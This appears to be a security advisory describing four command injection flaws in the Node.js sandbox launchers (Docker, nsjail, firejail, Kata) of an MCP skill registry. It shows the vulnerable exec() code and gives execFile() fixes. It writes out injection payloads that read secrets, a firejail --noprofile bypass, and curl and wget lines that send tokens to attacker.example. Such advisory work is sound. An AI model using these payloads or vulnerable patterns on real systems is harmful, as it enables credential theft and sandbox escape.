Claude MCP skill code injection — skill sandbox execution and runtime isolation endpoints — SA-SKL-INJECTION35
SA-SKL-INJECTION35 documents four critical command injection patterns in MCP skill registry sandbox execution and runtime isolation endpoints. Sandbox execution infrastructure — Docker container launchers, nsjail configuration runners, firejail profile executors, and Kata Containers runtime invocations — represents the most privileged attack surface in a skill registry: the code that actually launches isolated environments inevitably holds container registry credentials, sandbox escape key material, and cloud metadata access tokens. All four findings share the same root cause: Node.js child_process.exec() receives arguments constructed by template string interpolation, passing the full shell-interpreted command string to /bin/sh -c and allowing any attacker-controlled parameter to inject arbitrary shell operators. The consequences range from Docker Hub push credential exfiltration to complete firejail sandbox profile bypass that eliminates runtime isolation for skill execution.
exec(`docker run --rm -v ${'{'}mountPath{'}'}:/workspace ${'{'}imageRef{'}'} ${'{'}entrypoint{'}'}`); attacker entrypoint with ; cat /run/secrets/DOCKER_HUB_TOKEN exfiltrates Docker Hub push credentials used to publish skill imagesexec(`nsjail --config ${'{'}configPath{'}'} --bindmount ${'{'}hostDir{'}'}:/sandbox -- ${'{'}command{'}'}`); attacker configPath with ; env > /tmp/out.txt exfiltrates all env vars including sandbox escape credentialsexec(`firejail --profile=${'{'}profileName{'}'} ${'{'}executable{'}'}`); attacker profileName with space-injected --noprofile executes without sandbox profile, escaping firejail isolation entirelyexec(`kata-runtime run ${'{'}containerId{'}'} --config ${'{'}runtimeConfig{'}'}`); attacker runtimeConfig with ; printenv exfiltrates Kata runtime credentials and cloud metadata access tokensINJECTION35-001 — Docker entrypoint injection exfiltrates Docker Hub push credentials
The skill sandbox launcher constructs a Docker run command using template string interpolation: exec(`docker run --rm -v ${'{'}mountPath{'}'}:/workspace ${'{'}imageRef{'}'} ${'{'}entrypoint{'}'}`). When entrypoint originates from user-supplied input — a skill manifest field, an API request parameter, or a URL-decoded query string passed to the execution endpoint — an attacker controls the final positional argument that Docker passes to the container's entrypoint binary. Because Node.js exec() passes the concatenated string to /bin/sh -c, the shell interprets semicolons, ampersands, backtick subshells, and pipe operators before Docker ever receives a tokenized argument list. An attacker who submits entrypoint: "dummy; cat /run/secrets/DOCKER_HUB_TOKEN" causes the host shell to execute the Docker command for the first token and then execute cat /run/secrets/DOCKER_HUB_TOKEN as a fully separate host-level shell command — not inside the container, but on the registry host itself.
The Docker Hub push credential stored at /run/secrets/DOCKER_HUB_TOKEN is not a read-only pull token: it is the write-access push credential that the registry uses to publish new skill image versions to Docker Hub. An attacker who exfiltrates this token can push poisoned skill images to any repository that the registry account has write access to, overwriting legitimate skill images with backdoored versions that execute attacker-controlled code for every consumer who pulls and runs those images. Because skill images are executed on behalf of end users, a poisoned image in the registry is a supply chain attack against every organization that depends on that skill. The blast radius extends beyond the immediate registry deployment to every downstream consumer across all MCP skill registry tenants sharing the Docker Hub credentials.
The imageRef parameter presents an independent injection surface in the same command template. An attacker who controls imageRef can inject a repository reference containing shell metacharacters: imageRef: "attacker/image $(cat /run/secrets/DOCKER_HUB_TOKEN | curl -d @- https://attacker.example/)" uses command substitution rather than semicolon injection, achieving the same exfiltration through a different shell operator. Even if the endpoint validates entrypoint, failing to independently validate imageRef leaves the injection vector open. Both parameters must be treated as untrusted regardless of which field the attacker targets, and the fix must address the root cause — shell string interpolation — rather than attempting to sanitize individual fields.
INJECTION35-001 fix: Replace exec() string interpolation with execFile() and an explicit argument array: execFile('docker', ['run', '--rm', '-v', `${'{'}mountPath{'}'}:/workspace`, imageRef, entrypoint]). Validate imageRef against a digest-only pattern (/^[a-z0-9\-\.]+\/[a-z0-9\-\.]+@sha256:[a-f0-9]{'{'}64{'}'}$/) so floating tags cannot be used as injection carriers. Source entrypoint exclusively from server-side skill manifest records stored in the database — never from API request parameters, query strings, or any user-controlled input channel. Mount mountPath through path.resolve() and verify it falls within the designated workspace root before constructing the volume argument.
async function runSkillSandbox(mountPath, imageRef, entrypoint) {
// exec() passes the entire string to /bin/sh -c — shell operators in any
// interpolated variable are interpreted on the host before Docker receives anything
const { stdout } = await exec(
`docker run --rm -v ${mountPath}:/workspace ${imageRef} ${entrypoint}`
);
return stdout;
}
const { execFile } = require('child_process');
const { promisify } = require('util');
const execFileAsync = promisify(execFile);
const path = require('path');
const fs = require('fs');
const WORKSPACE_ROOT = '/var/skill-workspaces';
const IMAGE_DIGEST_RE = /^[a-z0-9\-\.]+\/[a-z0-9\-\.]+@sha256:[a-f0-9]{64}$/;
async function runSkillSandbox(rawMountPath, imageRef, skillId) {
// Validate imageRef against digest-only pattern — no floating tags, no shell chars
if (!IMAGE_DIGEST_RE.test(imageRef)) {
throw new Error('imageRef must be a digest-pinned image reference');
}
// Contain mountPath to WORKSPACE_ROOT via realpathSync
const resolvedMount = fs.realpathSync(path.resolve(WORKSPACE_ROOT, rawMountPath));
if (!resolvedMount.startsWith(WORKSPACE_ROOT + path.sep)) {
throw new Error('mountPath must be within workspace root');
}
// Retrieve entrypoint from server-side skill record — never from user input
const skill = await db.getSkill(skillId);
if (!skill || !skill.entrypoint) throw new Error('invalid skillId');
// execFile() with array — no shell involved, metacharacters are inert
const { stdout } = await execFileAsync('docker', [
'run', '--rm',
'-v', `${resolvedMount}:/workspace`,
'--network', 'none',
'--read-only',
imageRef,
skill.entrypoint
]);
return stdout;
}
INJECTION35-002 — nsjail configPath injection exfiltrates all env vars including sandbox escape credentials
The nsjail sandbox runner constructs its command as exec(`nsjail --config ${'{'}configPath{'}'} --bindmount ${'{'}hostDir{'}'}:/sandbox -- ${'{'}command{'}'}`). The configPath parameter identifies which nsjail configuration file governs the sandbox's resource limits, namespace isolation settings, capability restrictions, and allowed syscall list. When this parameter accepts user-supplied values — skill execution requests that specify a custom profile by name, API calls that reference a configuration by path, or manifest fields that identify a named configuration — an attacker can inject a semicolon sequence: configPath: "/etc/nsjail/default.cfg; env > /tmp/out.txt". The shell executes nsjail --config /etc/nsjail/default.cfg first (which may succeed or fail), then executes env > /tmp/out.txt as a separate host-level command, writing the complete environment variable set of the registry process to a temporary file that the attacker subsequently reads through a separate pathway.
The environment variable set of the nsjail execution context is exceptionally sensitive in a skill registry deployment. It invariably contains the credentials that the sandbox runner needs to perform its own operations: container registry authentication tokens for pulling the skill images being sandboxed, cloud provider credentials for accessing sandbox-supporting infrastructure (object storage for workspace data, secrets managers for per-skill secrets injection), database connection strings for the registry's metadata store, and in many deployments the nsjail escape detection credentials — the credentials used by the monitoring system that watches for sandbox escape attempts. Exfiltrating the full environment is equivalent to exfiltrating a master key bundle for the registry's entire operational infrastructure, not merely a single secret at a known path.
The command parameter at the end of the nsjail invocation presents an analogous injection vector. Even if configPath is validated, an attacker who controls command can achieve the same host-level code execution through the shell string boundary. The nsjail separator token -- is consumed by the shell argument parser before nsjail receives it, but because exec() sends everything to /bin/sh -c, semicolons in command are still interpreted by the host shell rather than being confined inside the nsjail namespace. The fix must eliminate shell string evaluation entirely for the entire invocation, not for individual parameters in isolation.
INJECTION35-002 fix: Replace exec() with execFile('nsjail', [...]) and an explicit argument array. Apply fs.realpathSync() to configPath and verify the resolved path begins with the designated nsjail configuration directory (e.g., /etc/nsjail/profiles/). Source nsjail configuration files exclusively from a sealed server-side directory that is not writable by skill submissions or API requests. Never accept a configuration path as a user-supplied parameter — accept only a configuration name that maps to a server-side path via a lookup table.
async function runNsjailSandbox(configPath, hostDir, command) {
// configPath from user input — semicolon injection executes arbitrary host commands
const { stdout } = await exec(
`nsjail --config ${configPath} --bindmount ${hostDir}:/sandbox -- ${command}`
);
return stdout;
}
const { execFile } = require('child_process');
const { promisify } = require('util');
const execFileAsync = promisify(execFile);
const path = require('path');
const fs = require('fs');
const NSJAIL_CONFIG_ROOT = '/etc/nsjail/profiles';
const SANDBOX_BIND_ROOT = '/var/skill-sandboxes';
// Allowed configuration names mapped server-side — user submits a name, not a path
const CONFIG_NAME_RE = /^[a-zA-Z0-9_\-]{1,64}$/;
async function runNsjailSandbox(configName, rawHostDir, skillId) {
// Validate config name and resolve to server-side path
if (!CONFIG_NAME_RE.test(configName)) {
throw new Error('invalid configName');
}
const configPath = path.join(NSJAIL_CONFIG_ROOT, `${configName}.cfg`);
const resolvedConfig = fs.realpathSync(configPath);
if (!resolvedConfig.startsWith(NSJAIL_CONFIG_ROOT + path.sep)) {
throw new Error('configPath traversal detected');
}
// Contain hostDir to sandbox bind root
const resolvedHost = fs.realpathSync(path.resolve(SANDBOX_BIND_ROOT, rawHostDir));
if (!resolvedHost.startsWith(SANDBOX_BIND_ROOT + path.sep)) {
throw new Error('hostDir must be within sandbox bind root');
}
// Retrieve command from server-side skill record — never from user input
const skill = await db.getSkill(skillId);
if (!skill || !skill.sandboxCommand) throw new Error('invalid skillId');
// execFile() array — no shell, metacharacters are inert
const { stdout } = await execFileAsync('nsjail', [
'--config', resolvedConfig,
'--bindmount', `${resolvedHost}:/sandbox`,
'--',
...skill.sandboxCommand // array of tokens from server-side skill record
]);
return stdout;
}
INJECTION35-003 — firejail profileName space injection disables sandbox profile
The firejail sandbox executor builds its invocation as exec(`firejail --profile=${'{'}profileName{'}'} ${'{'}executable{'}'}`). The --profile=VALUE form of firejail's profile flag is intended to prevent argument splitting: the entire value after the equals sign is consumed as the profile path, so a space within the value would not normally introduce a second argument. However, when the full command string is passed to /bin/sh -c via exec(), the shell tokenizes the string before firejail receives anything. An attacker who submits profileName: "default --noprofile" causes the shell to construct the command firejail --profile=default --noprofile executable, which firejail receives as three distinct arguments: --profile=default, --noprofile, and the executable path. The firejail argument parser processes flags left to right, and --noprofile overrides the earlier --profile= flag, instructing firejail to run the executable without any sandbox profile applied.
The consequence is complete firejail sandbox bypass for the skill execution. Without a profile, firejail does not apply the filesystem visibility restrictions, network namespace isolation, capability drops, or seccomp filter that the profile would have enforced. The skill executable runs with the same access as the registry process itself — it can read the registry's configuration files, access database connection strings from the environment, make outbound network connections to arbitrary hosts, and access any file on the host filesystem that the registry process user can read. For a skill registry that relies on firejail profiles as the primary isolation mechanism for executing untrusted skill code on behalf of users, the absence of a profile is equivalent to running user-supplied code without any sandboxing at all.
The space injection technique exploits a subtle interaction between shell tokenization and firejail's argument parsing order. Unlike semicolons, which are unambiguously shell metacharacters, a space within a --flag=value argument looks innocuous in a code review — the reviewer sees --profile=${'{'}profileName{'}'} and observes that equals-sign assignment syntax is used, which they may assume prevents splitting. The shell tokenizer does not respect firejail's argument conventions; it splits on all unquoted whitespace regardless. Even single-quoting the interpolation (--profile='${'{'}profileName{'}'}') does not prevent this if the profileName itself contains a single quote character. The only robust fix is to eliminate shell evaluation entirely using execFile().
INJECTION35-003 fix: Replace exec() with execFile('firejail', [...]) and an explicit argument array. Validate profileName against /^[a-zA-Z0-9_\-]{'{'}1,64{'}'}$/ before any path construction. Apply fs.realpathSync() to the resolved profile path and verify containment within the designated firejail profiles directory. Never accept executable as a user-supplied parameter — resolve it from a server-side skill record. Source firejail profile names from an allowlist of known-good profile identifiers, not from free-form user input.
async function runFirejailSandbox(profileName, executable) {
// profileName with embedded space injects --noprofile flag via shell tokenization
// disabling firejail isolation entirely despite --profile= assignment syntax
const { stdout } = await exec(
`firejail --profile=${profileName} ${executable}`
);
return stdout;
}
const { execFile } = require('child_process');
const { promisify } = require('util');
const execFileAsync = promisify(execFile);
const path = require('path');
const fs = require('fs');
const FIREJAIL_PROFILES_ROOT = '/etc/firejail/skill-profiles';
const PROFILE_NAME_RE = /^[a-zA-Z0-9_\-]{1,64}$/;
async function runFirejailSandbox(profileName, skillId) {
// Validate profileName — rejects spaces, semicolons, path separators, shell metacharacters
if (!PROFILE_NAME_RE.test(profileName)) {
throw new Error('invalid profileName');
}
// Resolve profile path and contain to firejail profiles root
const profilePath = path.join(FIREJAIL_PROFILES_ROOT, `${profileName}.profile`);
const resolvedProfile = fs.realpathSync(profilePath);
if (!resolvedProfile.startsWith(FIREJAIL_PROFILES_ROOT + path.sep)) {
throw new Error('profileName path traversal detected');
}
// Retrieve executable from server-side skill record — never from user input
const skill = await db.getSkill(skillId);
if (!skill || !skill.executablePath) throw new Error('invalid skillId');
// execFile() array — shell is not invoked, --noprofile injection is impossible
const { stdout } = await execFileAsync('firejail', [
`--profile=${resolvedProfile}`,
'--',
skill.executablePath,
...skill.executableArgs
]);
return stdout;
}
INJECTION35-004 — kata-runtime runtimeConfig injection exfiltrates Kata credentials and cloud metadata
The Kata Containers runtime invocation is built as exec(`kata-runtime run ${'{'}containerId{'}'} --config ${'{'}runtimeConfig{'}'}`). The --config flag identifies the OCI runtime configuration file that governs the microVM parameters for Kata's hardware-isolated container execution: kernel image paths, hypervisor type, memory allocation, vCPU counts, and critically the credentials used by the Kata runtime to access cloud-provider-specific infrastructure — hypervisor socket paths, TEE attestation endpoints, and cloud metadata service access tokens that allow the microVM to retrieve secrets from the cloud provider's secret management service. When runtimeConfig is user-controlled and passed to exec(), an attacker injects runtimeConfig: "/run/kata/config.toml; printenv" and the host shell executes printenv after the kata-runtime command, writing all environment variables to stdout which is captured in the exec() callback.
The Kata runtime execution context holds some of the most privileged credentials in a cloud-native skill registry deployment. When Kata is used to provide hardware-level isolation (via Intel TDX, AMD SEV, or ARM CCA), the runtime process holds the TEE provisioning credentials that authenticate microVM instances to the cloud provider's attestation service. These credentials determine which workloads are allowed to execute within trusted execution environments, and an attacker who exfiltrates them can forge attestation claims, provision unauthorized TEE instances, or access secrets that the registry's secret injection pipeline delivers to attested microVMs. Beyond TEE credentials, the environment typically contains the cloud provider IMDS access token, IAM role credentials cached from the instance metadata service, and the runtime's access to the registry's signing keys used to verify skill image integrity before execution.
The containerId parameter at the leading position in the command presents an additional injection surface. An attacker who controls containerId can inject a value like "abc123 --bundle /attacker/bundle; wget http://attacker.example/$(cat /run/kata/secrets/CLOUD_TOKEN)", exploiting both argument injection into the kata-runtime invocation itself (the --bundle flag) and semicolon-based execution of a credential exfiltration command. The containerId field may appear less suspicious than a configuration path parameter, but its position at the start of the template string makes it equally dangerous. A thorough fix must tokenize all parameters through execFile() array arguments and validate each one independently.
INJECTION35-004 fix: Replace exec() with execFile('kata-runtime', [...]) and an explicit argument array. Apply fs.realpathSync() to runtimeConfig and verify the resolved path is within the designated Kata configuration directory. Source --config from a server-side constant that is not modifiable by API request parameters. Validate containerId against a strict UUID or OCI container ID pattern before use. Avoid passing any user-supplied value as a positional argument to kata-runtime; all runtime-sensitive parameters should come from server-side records resolved by a validated skill or container identifier.
async function runKataSandbox(containerId, runtimeConfig) {
// runtimeConfig from user input — semicolon injection executes arbitrary host commands
// capturing TEE credentials, cloud metadata tokens, and runtime signing keys via printenv
const { stdout } = await exec(
`kata-runtime run ${containerId} --config ${runtimeConfig}`
);
return stdout;
}
const { execFile } = require('child_process');
const { promisify } = require('util');
const execFileAsync = promisify(execFile);
const path = require('path');
const fs = require('fs');
const KATA_CONFIG_ROOT = '/etc/kata-containers/skill-profiles';
// kata-runtime assigns container IDs matching OCI bundle directory names
const CONTAINER_ID_RE = /^[a-zA-Z0-9_\-]{1,128}$/;
// Server-side constant for the runtime config — never from user input
const KATA_RUNTIME_CONFIG = '/etc/kata-containers/skill-profiles/default.toml';
async function runKataSandbox(rawContainerId, skillId) {
// Validate containerId against strict pattern
if (!CONTAINER_ID_RE.test(rawContainerId)) {
throw new Error('invalid containerId');
}
// Verify runtimeConfig is within the Kata config root (server-side constant here)
const resolvedConfig = fs.realpathSync(KATA_RUNTIME_CONFIG);
if (!resolvedConfig.startsWith(KATA_CONFIG_ROOT + path.sep)) {
throw new Error('runtimeConfig containment check failed');
}
// Retrieve any skill-specific overrides from server-side skill record
const skill = await db.getSkill(skillId);
if (!skill) throw new Error('invalid skillId');
// execFile() array — no shell, semicolons and argument injection are impossible
const { stdout } = await execFileAsync('kata-runtime', [
'run',
rawContainerId,
'--config', resolvedConfig,
'--bundle', skill.bundlePath // server-side, not user-supplied
]);
return stdout;
}
SkillAudit scans for exec() string interpolation patterns across Docker, nsjail, firejail, and Kata Containers invocations in MCP skill registry sandbox execution and runtime isolation code — including semicolon injection vectors, space-injected flag bypass patterns, and missing realpathSync containment checks on configuration path parameters.
| Finding | Severity | Vulnerable pattern | Impact |
|---|---|---|---|
| INJECTION35-001 | CRITICAL | exec(`docker run ... ${'{'}imageRef{'}'} ${'{'}entrypoint{'}'}`) | Semicolon injection in entrypoint exfiltrates Docker Hub push credentials; enables poisoned skill image supply chain attack across all tenants |
| INJECTION35-002 | CRITICAL | exec(`nsjail --config ${'{'}configPath{'}'} ...`) | Semicolon injection in configPath exfiltrates full env including sandbox escape credentials, cloud provider tokens, and DB connection strings |
| INJECTION35-003 | CRITICAL | exec(`firejail --profile=${'{'}profileName{'}'} ...`) | Space injection injects --noprofile flag via shell tokenization, disabling firejail sandbox profile and eliminating runtime isolation for skill execution |
| INJECTION35-004 | CRITICAL | exec(`kata-runtime run ${'{'}containerId{'}'} --config ${'{'}runtimeConfig{'}'}`) | Semicolon injection in runtimeConfig exfiltrates Kata TEE credentials, cloud metadata access tokens, and runtime signing keys via printenv |
See also: SA-SKL-INJECTION34 (code injection in skill dependency and package management pipeline endpoints) and SA-SKL-INJECTION33 (code injection in skill static analysis and linting pipeline endpoints) for additional command injection patterns in adjacent MCP skill registry subsystems that share the same exec() string interpolation root cause as SA-SKL-INJECTION35.